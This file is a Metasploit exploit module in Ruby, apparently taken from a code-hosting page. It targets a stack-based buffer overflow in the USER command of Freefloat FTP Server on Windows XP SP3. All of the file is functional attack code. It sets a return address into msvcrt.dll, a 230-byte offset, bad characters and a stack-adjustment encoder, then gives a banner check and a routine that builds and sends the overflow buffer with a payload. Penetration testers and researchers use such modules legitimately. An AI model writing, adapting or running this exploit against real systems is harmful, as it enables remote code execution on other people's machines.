76 lines
1.9 KiB
Ruby
76 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit4 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Free Float FTP Server USER Command Buffer Overflow',
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'Description' => %q{
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Freefloat FTP Server is prone to an overflow condition. It
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fails to properly sanitize user-supplied input resulting in a
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stack-based buffer overflow. With a specially crafted 'USER'
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command, a remote attacker can potentially have an unspecified
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impact.
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},
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'Platform' => 'win',
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'Author' =>
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[
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'D35m0nd142', # Original exploit
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'Doug Prostko <dougtko[at]gmail.com>' # MSF module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '69621'],
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[ 'EDB', '23243']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 444,
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'DisableNops' => true,
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'BadChars' => "\x00\x0a\x0d",
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'Targets' =>
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[
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[ 'FreeFloat / Windows XP SP3',
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{
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'Ret' => 0x77c35459 , # push esp; ret - mscvrt.dll
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'Offset' => 230
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 12 2012'))
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end
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def check
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connect
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disconnect
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if (banner =~ /FreeFloat/)
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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connect
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buf = rand_text(target['Offset'])
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buf << [ target['Ret'] ].pack('V')
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buf << rand_text(8)
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buf << payload.encoded
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send_user(buf)
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disconnect
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end
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end
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